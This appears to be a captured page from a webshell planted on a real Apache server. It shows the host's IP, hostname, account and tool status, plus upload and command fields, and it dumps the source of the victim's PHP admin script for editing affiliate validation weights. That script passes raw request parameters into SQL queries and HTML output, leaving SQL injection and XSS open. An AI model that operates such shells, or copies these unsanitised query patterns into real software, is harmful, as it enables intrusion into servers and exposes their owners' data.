403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/_nats_validation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/_nats_validation/admin_nats.php
<?php
/**
* 
* 
* 
* 
*/
#echo __METHOD__.__LINE__.'$_SERVER<pre>['.var_export($_SERVER, true).']</pre>'.'<br>'; 
#echo __METHOD__.__LINE__.'$_SERVER<pre>['.var_export($_SERVER, true).']</pre>'.'<br>'; 
session_start();
include '_db.php';

$login_form ='
	<form name="auth" id="auth" method="post" action="" role="form">
		<div class="rTableRow">
			<div class="rTableHead">
				<label for="username">username </label>
				<input type="text" class="form-control" name="username" id="username"   /><br>
				<label for="password">password </label>
				<input type="password" class="form-control" name="password" id="password"   /><br>
				<input type="submit" class="form-control" name="submit" id="submit" value="submit"  /><br>
				
			</div>
		</div>
	</form>
';


$main_form ='

	<form name="search" id="auth" method="post" action="" role="form">
	<div class="rTable">
		<div class="rTableRow">
			<div class="rTableHead clear"><strong>SEARCH</strong></div>
		</div>
		<div class="rTableRow">
			<div class="rTableHead clear"><strong>Source</strong></div>
			<!-- 
			<div class="rTableHead clear"><span style="font-weight: bold;">Target</span></div>
			-->
			
		</div>
		<div class="rTableRow">
			<div class="rTableCell clear">
				<input type="text" class="form-control" name="source" id="source" length="160" value="'.$_REQUEST["source"].'" />
			
			</div>
			<div class="rTableCell clear">
				<!-- 
				<input type="text" class="form-control" name="target" id="target" length="60" value="'.$_REQUEST["target"].'"  />
				-->
				<input type="submit" class="form-control" name="submit" id="submit" value="submit"  />
				<input type="hidden"  name="process" id="process" value="search"  />
				
			</div>
			
		</div>
		<div class="rTableRow">
			<div class="rTableCell clear">
				&nbsp;
			</div>
			<div class="rTableCell clear">
				&nbsp;
			</div>
		</div>
		
	</div>
	</form>
	<hr>
	
	

';
/**
* 
*/
function searchForm($CONTENT = ''){
	#$CONTENT = '';
	#echo __FUNCTION__. '@ '. __LINE__. '<br>'.PHP_EOL;
	if(isset($_REQUEST["process"])){
		$searches = array();
		$query = '
		SELECT * FROM nats_validation WHERE
		';
		if(isset($_REQUEST["source"]) && '' != $_REQUEST["source"]){
			$searches[] = ' source_id LIKE "%'.$_REQUEST["source"].'%" ';
		}
		
		if(isset($_REQUEST["target"]) && '' != $_REQUEST["target"]){
			$searches[] = ' target_id LIKE "%'.$_REQUEST["target"].'%" ';
		}
		if(count($searches) >=1){
			$count = 0;
			foreach($searches AS $key => $value){
				if($count>0){
					$whereClause .= 'OR ' .$value;
					
				}else{
					$whereClause .= $value;
					
				}
				$count++;
			}
			
		}
		$query = $query.$whereClause;
		#echo __METHOD__.__LINE__.'$query<pre>['.var_export($query, true).']</pre>'.'<br>'; 
		$result = $GLOBALS["DB_connector"]->raw($query);
		#echo __METHOD__.__LINE__.'$result<pre>['.var_export($result, true).']</pre>'.'<br>'; 
		$resultData = '';
		if(count($result) > 0 ){
			$resultData = '
				<div class="rTableRow">
					<div class="rTableHead"><strong>ID</strong></div>
					<div class="rTableHead"><strong>Source</strong></div>
					<div class="rTableHead"><span style="font-weight: bold;">weight</span></div>
					<!-- 
					<div class="rTableHead"><span style="font-weight: bold;">Target</span></div>
					-->
					<div class="rTableHead clear">&nbsp;</div>
				</div>
			';
			if(1 == count($result)){
				$resultData .= '
					<div class="rTableRow">
						<div class="rTableCell">
							<strong>'.$result[0]["mapping_pk"].'</strong>
						
							<input type="hidden"  name="mapping_pk" id="mapping_pk" value="'.$result[0]["mapping_pk"].'"  />
						</div>
						<div class="rTableCell">
							<a href="http://darkreachcash.com/admin_affiliates.php?view=affiliate_overview&userid='.$result[0]["source_id"].'"  target="_new">
								<span style="font-weight: bold;">'.$result[0]["source_id"].'</span>
							</a>
						</div>
						<div class="rTableCell">
							<input type="text" class="form-control" name="weight" id="weight"  value="'.$result[0]["weight"].'" />
							
						</div>
						<!-- 
						<div class="rTableCell"><span style="font-weight: bold;">'.$result[0]["target_id"].'</span></div>
						-->
						<div class="rTableHead clear"><input type="submit" class="form-control" name="process" id="process" value="update"  /></div>
					</div>
				';
			}else{
				foreach($result AS $key => $value ){
					$resultData .= '
					<div class="rTableRow">
						<div class="rTableCell">
							<a href="?process=edit&mapping_pk='.$value["mapping_pk"].'" >
								<button name="mapping_pk" value="'.$value["mapping_pk"].'" >
									<strong>EDIT</strong>
								</button>
							</a>
						</div>
						<div class="rTableCell">
							<a href="http://darkreachcash.com/admin_affiliates.php?view=affiliate_overview&userid='.$value["source_id"].'"  target="_new">
								<span style="font-weight: bold;">'.$value["source_id"].'</span>
							</a>
						</div>
						<div class="rTableCell"><span style="font-weight: bold;">'.$value["weight"].'</span></div>
						<!-- 
						<div class="rTableCell"><span style="font-weight: bold;">'.$value["target_id"].'</span></div>
						-->
					</div>
					';
				}
				
					$resultData .= '<input type="hidden"  name="process" id="process" value="edit"  />';
				
				
			}
			
		}
		$CONTENT = $CONTENT.'
		<form name="process" id="edit" method="post" action="" role="form">
		<div class="rTable">
		'.$resultData.'
		</div>
		</form>
		<hr>
		';
		
	}
	return $CONTENT;
}

/**
* 
*/
function getAll($CONTENT = ''){
	#$CONTENT = '';
	#echo __FUNCTION__. '@ '. __LINE__. '<br>'.PHP_EOL;
	if(isset($_REQUEST["process"])){}
		$searches = array();
		$whereClause='';
		$query = '
		SELECT * FROM nats_validation
		';
		/*
		if(isset($_REQUEST["source"]) && '' != $_REQUEST["source"]){
			$searches[] = ' source_id LIKE "%'.$_REQUEST["source"].'%" ';
		}
		
		if(isset($_REQUEST["target"]) && '' != $_REQUEST["target"]){
			$searches[] = ' target_id LIKE "%'.$_REQUEST["target"].'%" ';
		}
		if(count($searches) >=1){
			$count = 0;
			foreach($searches AS $key => $value){
				if($count>0){
					$whereClause .= 'OR ' .$value;
					
				}else{
					$whereClause .= $value;
					
				}
				$count++;
			}
			
		}
		*/
		$query = $query.$whereClause;
		#echo __METHOD__.__LINE__.'$query<pre>['.var_export($query, true).']</pre>'.'<br>'; 
		$result = $GLOBALS["DB_connector"]->raw($query);
		#echo __METHOD__.__LINE__.'$result<pre>['.var_export($result, true).']</pre>'.'<br>'; 
		$resultData = '';
		if(count($result) > 0 ){
			$resultData = '
				<div class="rTableRow">
					<div class="rTableHead"><strong>ID</strong></div>
					<div class="rTableHead"><strong>Source</strong></div>
					<div class="rTableHead"><span style="font-weight: bold;">weight</span></div>
					<!-- 
					<div class="rTableHead"><span style="font-weight: bold;">Target</span></div>
					-->
					<div class="rTableHead clear">&nbsp;</div>
				</div>
			';
			if(1 == count($result)){
				$resultData .= '
					<div class="rTableRow">
						<div class="rTableCell">
							<strong>'.$result[0]["mapping_pk"].'</strong>
						
							<input type="hidden"  name="mapping_pk" id="mapping_pk" value="'.$result[0]["mapping_pk"].'"  />
						</div>
						<div class="rTableCell">
							<a href="http://darkreachcash.com/admin_affiliates.php?view=affiliate_overview&userid='.$result[0]["source_id"].'"  target="_new">
								<span style="font-weight: bold;">'.$result[0]["source_id"].'</span>
							</a>
						</div>
						<div class="rTableCell">
							<input type="text" class="form-control" name="weight" id="weight"  value="'.$result[0]["weight"].'" />
							
						</div>
						<!-- 
						<div class="rTableCell"><span style="font-weight: bold;">'.$result[0]["target_id"].'</span></div>
						-->
						<div class="rTableHead clear"><input type="submit" class="form-control" name="process" id="process" value="update"  /></div>
					</div>
				';
			}else{
				foreach($result AS $key => $value ){
					$resultData .= '
					<div class="rTableRow">
						<div class="rTableCell">
							<a href="?process=edit&mapping_pk='.$value["mapping_pk"].'" >
								<button name="mapping_pk" value="'.$value["mapping_pk"].'" >
									<strong>EDIT</strong>
								</button>
							</a>
						</div>
						<div class="rTableCell">
							<a href="http://darkreachcash.com/admin_affiliates.php?view=affiliate_overview&userid='.$value["source_id"].'"  target="_new">
								<span style="font-weight: bold;">'.$value["source_id"].'</span>
							</a>
						</div>
						<div class="rTableCell"><span style="font-weight: bold;">'.$value["weight"].'</span></div>
						<!-- 
						<div class="rTableCell"><span style="font-weight: bold;">'.$value["target_id"].'</span></div>
						-->
					</div>
					';
				}
				
					$resultData .= '<input type="hidden"  name="process" id="process" value="edit"  />';
				
				
			}
			
		}
		$CONTENT = $CONTENT.'
		<form name="process" id="edit" method="post" action="" role="form">
		<div class="rTable">
		'.$resultData.'
		</div>
		</form>
		<hr>
		';
		
	
	return $CONTENT;
}
/**
* 
*/
function editForm($CONTENT = ''){
	
	#$CONTENT = '';
	#echo __FUNCTION__. '@ '. __LINE__. '<br>'.PHP_EOL;
	if(isset($_REQUEST["process"])){
		if(!isset($_REQUEST["mapping_pk"]) && !is_numeric($_REQUEST["mapping_pk"])){
			return 'failed lookup';
		}
		
		$query = '
		SELECT * FROM nats_validation 
		WHERE mapping_pk = '.$_REQUEST["mapping_pk"].'
		';
		
		
		#echo __METHOD__.__LINE__.'$query<pre>['.var_export($query, true).']</pre>'.'<br>'; 
		$result = $GLOBALS["DB_connector"]->raw($query);
		#echo __METHOD__.__LINE__.'$result<pre>['.var_export($result, true).']</pre>'.'<br>'; 

		$resultData = '';
		if(count($result) > 0 ){
			$resultData = '
				<div class="rTableRow">
					<div class="rTableHead"><strong>ID</strong></div>
					<div class="rTableHead"><strong>Source</strong></div>
					<div class="rTableHead"><span style="font-weight: bold;">weight</span></div>
					<!-- 
					<div class="rTableHead"><span style="font-weight: bold;">Target</span></div>
					-->
					<div class="rTableHead clear">&nbsp;</div>
				</div>
			';
			if(1 == count($result)){
				$resultData .= '
					<div class="rTableRow">
						<div class="rTableCell">
							<strong>'.$result[0]["mapping_pk"].'</strong>
							
							<input type="hidden"  name="mapping_pk" id="mapping_pk" value="'.$result[0]["mapping_pk"].'"  />
						</div>
						<div class="rTableCell">
							<a href="http://darkreachcash.com/admin_affiliates.php?view=affiliate_overview&userid='.$result[0]["source_id"].'" target="_new">
							<span style="font-weight: bold;">'.$result[0]["source_id"].'</span>
							</a>
						</div>
						<div class="rTableCell">
							<input type="text" class="form-control" name="weight" id="weight"  value="'.$result[0]["weight"].'" />
							
						</div>
						<!-- 
						<div class="rTableCell"><span style="font-weight: bold;">'.$result[0]["target_id"].'</span></div>
						-->
						<div class="rTableHead clear"><input type="submit" class="form-control" name="process" id="process" value="update"  /></div>
					</div>
				';
			}
			
		}
		$CONTENT = $CONTENT.'
		<form name="process" id="edit" method="post" action="" role="form">
		<div class="rTable">
		'.$resultData.'
		</div>
		</form>
		<hr>
		';
		
	}
	return $CONTENT;
}
/**
* 
*/
function update($CONTENT = ''){
	
	//$CONTENT = 'UPDATED';
	#echo __FUNCTION__. '@ '. __LINE__. '<br>'.PHP_EOL;
	if(isset($_REQUEST["process"])){
		if(
			(!isset($_REQUEST["mapping_pk"]) && !is_numeric($_REQUEST["mapping_pk"]))
			||
			(!isset($_REQUEST["weight"]) && !is_numeric($_REQUEST["weight"]))
		){
			return 'failed lookup';
		}

		#echo __FUNCTION__. '@ '. __LINE__. '<br>'.PHP_EOL;
		$query = 'UPDATE `nats_validation` 
		SET weight = '.$_REQUEST["weight"].', last_update = "'.date("Y-m-d H:i:s").'"
		WHERE mapping_pk = '.$_REQUEST["mapping_pk"].'';
		
		#echo __METHOD__.__LINE__.'$query<pre>['.var_export($query, true).']</pre>'.'<br>'; 
		$updateResult = $GLOBALS["DB_connector"]->raw($query);
		#echo __METHOD__.__LINE__.'$updateResult<pre>['.var_export($updateResult, true).']</pre>'.'<br>'; 
		
		$query = '
		SELECT * FROM nats_validation 
		WHERE mapping_pk = '.$_REQUEST["mapping_pk"].'
		';
		
		$result = $GLOBALS["DB_connector"]->raw($query);
		
		
		#echo __METHOD__.__LINE__.'$result<pre>['.var_export($result, true).']</pre>'.'<br>'; 
		$resultData = '';
		if(count($result) > 0 ){
			$resultData = '
				<div class="rTableRow">
					<div class="rTableHead"><strong>ID</strong></div>
					<div class="rTableHead"><strong>Source</strong></div>
					<div class="rTableHead"><span style="font-weight: bold;">weight</span></div>
					<!-- 
					<div class="rTableHead"><span style="font-weight: bold;">Target</span></div>
					-->
					<div class="rTableHead clear">&nbsp;</div>
				</div>
			';
			if(1 == count($result)){
				$resultData .= '
					<div class="rTableRow">
						<div class="rTableCell">
							<strong>'.$result[0]["mapping_pk"].'</strong>
							
							<input type="hidden"  name="mapping_pk" id="mapping_pk" value="'.$result[0]["mapping_pk"].'"  />
						</div>
						<div class="rTableCell">
							<a href="http://darkreachcash.com/admin_affiliates.php?view=affiliate_overview&userid='.$result[0]["source_id"].'" target="_new">
							<span style="font-weight: bold;">'.$result[0]["source_id"].'</span>
							</a>
						</div>
						<div class="rTableCell">
							<input type="text" class="form-control" name="weight" id="weight"  value="'.$result[0]["weight"].'" />
							
						</div>
						<!-- 
						<div class="rTableCell"><span style="font-weight: bold;">'.$result[0]["target_id"].'</span></div>
						-->
						<div class="rTableHead clear"><input type="submit" class="form-control" name="process" id="process" value="update"  /></div>
					</div>
				';
			}
			
		}
		$CONTENT = $CONTENT.'
		<form name="process" id="edit" method="post" action="" role="form">
		<div class="rTable">
		'.$resultData.'
		</div>
		</form>
		<hr>
		';
		
	}
	return $CONTENT;
}
/**
* 
*/
function add($CONTENT = ''){
	
	$CONTENT = 'UPDATED';
	#echo __FUNCTION__. '@ '. __LINE__. '<br>'.PHP_EOL;
	if(isset($_REQUEST["process"])){
		if(
			(!isset($_REQUEST["source_id"]) && '' != $_REQUEST["source_id"])
			&&
			#(!isset($_REQUEST["target_id"]) && '' != $_REQUEST["target_id"])
			#&&
			(!isset($_REQUEST["weight"]) && !is_numeric($_REQUEST["weight"]))
		){
			return 'failed lookup';
		}

		/*
		$query = 'INSERT INTO `nats_validation` 
		(weight, source_id, target_id)
		VALUES ('.$_REQUEST["weight"].', "'.$_REQUEST["source_id"].'","'.$_REQUEST["target_id"].'") ';
		*/
		
		$query = 'INSERT INTO `nats_validation` 
		(weight, source_id)
		VALUES ('.$_REQUEST["weight"].', "'.$_REQUEST["source_id"].'") ';
		
		#echo __METHOD__.__LINE__.'$query<pre>['.var_export($query, true).']</pre>'.'<br>'; 
		$addResult = $GLOBALS["DB_connector"]->raw($query);
		#echo __METHOD__.__LINE__.'$addResult<pre>['.var_export($addResult, true).']</pre>'.'<br>'; 
		
		$query = '
		SELECT * FROM nats_validation 
		WHERE 
		weight = '.$_REQUEST["weight"].' 
		AND source_id = "'.$_REQUEST["source_id"].'"
		';
		#AND target_id = "'.$_REQUEST["target_id"].'"
		
		$result = $GLOBALS["DB_connector"]->raw($query);
		#echo __METHOD__.__LINE__.'$result<pre>['.var_export($result, true).']</pre>'.'<br>'; 
		
		
		#echo __METHOD__.__LINE__.'$result<pre>['.var_export($result, true).']</pre>'.'<br>'; 
		$resultData = '';
		if(count($result) > 0 ){
			$resultData = '
				<div class="rTableRow">
					<div class="rTableHead"><strong>ID</strong></div>
					<div class="rTableHead"><strong>Source</strong></div>
					<div class="rTableHead"><span style="font-weight: bold;">weight</span></div>
					<div class="rTableHead"><span style="font-weight: bold;">Target</span></div>
					<div class="rTableHead clear">&nbsp;</div>
				</div>
			';
			if(1 == count($result)){
				$resultData .= '
					<div class="rTableRow">
						<div class="rTableCell">
							<strong>'.$result[0]["mapping_pk"].'</strong>
							
							<input type="hidden"  name="mapping_pk" id="mapping_pk" value="'.$result[0]["mapping_pk"].'"  />
						</div>
						<div class="rTableCell">
							<a href="http://darkreachcash.com/admin_affiliates.php?view=affiliate_overview&userid='.$result[0]["source_id"].'" target="_new">
							<span style="font-weight: bold;">'.$result[0]["source_id"].'</span>
							</a>
						</div>
						<div class="rTableCell">
							<input type="text" class="form-control" name="weight" id="weight"  value="'.$result[0]["weight"].'" />
							
						</div>
						<div class="rTableCell"><span style="font-weight: bold;">'.$result[0]["target_id"].'</span></div>
						<div class="rTableHead clear"><input type="submit" class="form-control" name="process" id="process" value="update"  /></div>
					</div>
				';
			}
			
		}
		$CONTENT = $CONTENT.'
		<form name="process" id="edit" method="post" action="" role="form">
		<div class="rTable">
		'.$resultData.'
		</div>
		</form>
		<hr>
		';
		
	}
	return $CONTENT;
}
/**
* 
*/
function log_validation($CONTENT = ''){
	$resultData = '';
	if(isset($_REQUEST["process"])){
		$start = date("Y-m-d H:i:s");
		$end = date("Y-m-d H:i:s");
		
		
		$query = '
		SELECT 
			l.mapping_fk, 
			l.weight, 
			l.log_time, 
			l.domain, 
			n.source_id 
		FROM 
			nats_validation_log l, 
			nats_validation n
		
		WHERE log_time BETWEEN "'.date("Y-m-d H:i:s", mktime(0,0,0,date('m')-3,date('d'),date('Y') ) ).'" AND "'.date("Y-m-d H:i:s").'" 
		AND l.mapping_fk = n.mapping_pk
		ORDER BY log_time DESC
		
		';
		/**
			n.target_id
		weight = '.$_REQUEST["weight"].' 
		AND source_id = "'.$_REQUEST["source_id"].'"
		AND target_id = "'.$_REQUEST["target_id"].'"
		*/
		#echo __METHOD__.__LINE__.'$query<pre>['.var_export($query, true).']</pre>'.'<br>'; 
		$result = $GLOBALS["DB_connector"]->raw($query);
		#echo __METHOD__.__LINE__.'$result<pre>['.var_export($result, true).']</pre>'.'<br>'; 
		if(count($result) > 0 ){
			$resultData = '
				<div class="rTableRow">
					<div class="rTableHead"><strong>log_time</strong></div>
					<div class="rTableHead"><strong>Domain</strong></div>
					<div class="rTableHead"><strong>Source</strong></div>
					<div class="rTableHead"><strong>Weight</strong></div>
					<!--<div class="rTableHead"><strong>Target</strong></div> -->
				</div>
			';
				
			foreach($result AS $key => $value ){
				$resultData .= '
				<div class="rTableRow">
					<div class="rTableCell">'.$value["log_time"].'</div>
					<div class="rTableCell">'.$value["domain"].'</div>
					<div class="rTableCell">'.$value["source_id"].'</div>
					<div class="rTableCell"><span style="font-weight: bold;">'.$value["weight"].'</span></div>
					<!--<div class="rTableCell">'.$value["target_id"].'</div> -->
				</div>
				';
			}
			
		}
	}
	$CONTENT = $CONTENT.'
	<form name="process" id="edit" method="post" action="" role="form">
	<div class="rTable">
	'.$resultData.'
	</div>
	</form>
	<hr>
	';
	return $CONTENT;
}
/**
************************************************************
************************************************************
************************************************************
*/
if(isset($_REQUEST["logout"])){
	session_start();
	session_destroy();
	session_write_close();
	session_unregister();
	header('Location: http://'.$_SERVER['SERVER_NAME'].$_SERVER["SCRIPT_NAME"].'');
	exit();
}
/**
* 
*/
$auth = false;
if(!isset($_SESSION["auth"]) || true !== $_SESSION["auth"]){
	#echo __FILE__. '@ '. __LINE__. '<br>'.PHP_EOL;
	if(
		isset($_POST["username"]) && isset($_POST["password"])
		&&
		'' != $_POST["username"] && '' != $_POST["password"]
	){
		$admin = new admin;
		
		if(true === $admin->verify_user($_POST["username"], $_POST["password"])){
			//$CONTENT = $main_form;
			$_SESSION["auth"] = true;
			#session_write_close();
			#header('Location: http://'.$_SERVER['SERVER_NAME'].$_SERVER["SCRIPT_NAME"].'');
			$auth = true;
			#echo __FILE__. '@ '. __LINE__. '<br>'.PHP_EOL;
		}
		
	}else{
		$auth = false;
		$CONTENT = $login_form;
		#echo __FILE__. '@ '. __LINE__. '<br>'.PHP_EOL;
	}
	
}else{
	#echo __FILE__. '@ '. __LINE__. '<br>'.PHP_EOL;
	$auth = true;
	
}
/**
* 
*/
if(true === $auth){
	$DB_connector = new DB_connector;
	
	switch($_REQUEST["process"]){
		case"search":
			$CONTENT = searchForm($main_form);
			break;
		case"edit":
			$CONTENT = editForm($main_form);
			break;
		case"update":
			$CONTENT = update($main_form);
			break;
		case"add":
			$CONTENT = add($main_form);
			break;
		case"log":
			$CONTENT = log_validation($main_form);
			break;
		default:
			#$CONTENT = $main_form;
			#echo '---';
			$CONTENT = getAll($main_form);
			break;
			
		
	}

}
/**
* 
*/

#echo __FILE__. '@ '. __LINE__. '$CONTENT['.strlen( $CONTENT).']'.'<br>'.PHP_EOL;

#echo __METHOD__.__LINE__.'$_SESSION<pre>['.var_export($_SESSION, true).']</pre>'.'<br>'; 
#echo __METHOD__.__LINE__.'$_REQUEST<pre>['.var_export($_REQUEST, true).']</pre>'.'<br>'; 
?>


<!DOCTYPE html>

<html  lang="en" class="no-js"  >

<head>



	<meta   http-equiv="Content-Type"  content="text/html; charset=UTF-8" />
	<!-- ------------------------- -->
	<!-- ------------------------- -->
	<!-- ------------------------- -->
	<SCRIPT TYPE="text/javascript">
	
	
		function pageSingle(id){
			alert(id);
			if (document.getElementById(id)){
				//alert('document.getElementById(id).style.display='+document.getElementById(id).style.display);
				(document.getElementById(id).style.display == 'none')? display = 'block': display = 'none' ;
				//alert('display'+display);
				document.getElementById(id).style.display = display;
				//alert('document.getElementById(page_id).style.display: '+document.getElementById(page_id).style.display);
			}
		}

/**
		alert(
			"location.origin["+location.origin+"]\r\n"+
			"location.href["+location.href+"]\r\n"+
			"location.pathname["+location.pathname+"]\r\n"+
			"location.search["+location.search+"]\r\n"+
			""
		
		);
*/
		
	</SCRIPT>
	
	<!-- ------------------------- -->
	<!-- ------------------------- -->
	<!-- ------------------------- -->
	<!--
	<link  rel="stylesheet"  type="text/css" href="/assets/css/custom.css"   />
	-->
	
	<style>
	body {
		background-color: linen;
	}

	.container {
		display: block;
		width: 60%;
		margin: auto;
	}
	.rTable {
		display: table;
		width: 100%;
	}
	.rTableRow {
		display: table-row;
	}
	.rTableHeading {
		display: table-header-group;
		background-color: #ddd;
	}
	.rTableCell, .rTableHead {
		display: table-cell;
		padding: 3px 10px;
		border: 1px solid #999999;
	}
	.rTableHeading {
		display: table-header-group;
		background-color: #ddd;
		font-weight: bold;
	}
	.rTableFoot {
		display: table-footer-group;
		font-weight: bold;
		background-color: #ddd;
	}
	.rTableBody {
		display: table-row-group;
	}
	.clear{
		border: 0px solid #999999;
	}
	.form-control{
		width: 200px;
	}

	</style>




	<title>NATS:VALIDTION</title>
	
</head>

<body class="">

<div id="top" class="container">
	<div class="">
		<div class="rTable">
			<div class="rTableRow">
				<div class="rTableHead clear">
					<a href="?"><button>home</button></a>
				</div>
				<div class="rTableHead clear">
					&nbsp;
				</div>
				<div class="rTableHead clear">
					&nbsp;
				</div>
				<div class="rTableHead clear">
					&nbsp;
				</div>
				<div class="rTableHead clear">
					&nbsp;
				</div>
				<div class="rTableHead clear">
					&nbsp;
				</div>
				<div class="rTableHead clear">
					<a href="?process=log"><button>logs</button></a>
				</div>
				<div class="rTableHead clear">
					&nbsp;
				</div>
				<div class="rTableHead clear">
					&nbsp;
				</div>
				<div class="rTableHead clear">
					&nbsp;
				</div>
				<div class="rTableHead clear">
					&nbsp;
				</div>
				<div class="rTableHead clear">
					&nbsp;
				</div>
				<div class="rTableHead clear">
					<a href="?logout=true"><button>logout</button></a>
				</div>
			</div>
		</div>

			
		
	</div>
	<hr>
	<!-- -->
	<!-- -->
	<?php echo $CONTENT;?>
	<!-- -->
	<!-- -->
	<br>
	<a href="javascript:void(0);" onclick="pageSingle('add_mapping');" ><button>[add new]</button></a><br>
	<div id="add_mapping" name="add_mapping" style="display: none;">
		
		<form name="search" id="search" method="post" action="" role="form">
			<div class="rTable">
				<div class="rTableRow">
					<div class="rTableHead clear"><strong>source_id</strong></div>
					<div class="rTableHead clear"><strong>weight</strong></div>
					<!--<div class="rTableHead clear"><strong>target_id</strong></div>-->
				</div>
				<div class="rTableRow">
					<div class="rTableCell">
						<input type="text" class="form-control" name="source_id" id="source_id" value=""  />
					</div>
					<div class="rTableCell">
						<input type="text" class="form-control" name="weight" id="weight" value=""  />
					</div>
					<!--
					<div class="rTableCell">
						<input type="text" class="form-control" name="target_id" id="target_id" value=""  />
					</div>
					-->
				</div>
				<div class="rTableRow">
					<div class="rTableHead clear">
						<input type="submit" class="form-control" name="process" id="process" value="add"  />
					</div>
				</div>
			</div>
		</form>
	</div>
</div>
	
	

				
	<!--
	<script  type="text/javascript"    src="/assets/plugins/jquery.min.js" ></script>
	-->

	</br>
	</br>
	</br>
	</br>
	</br>
	</br>



</body>

</html>


Youez - 2016 - github.com/yon3zu
LinuXploit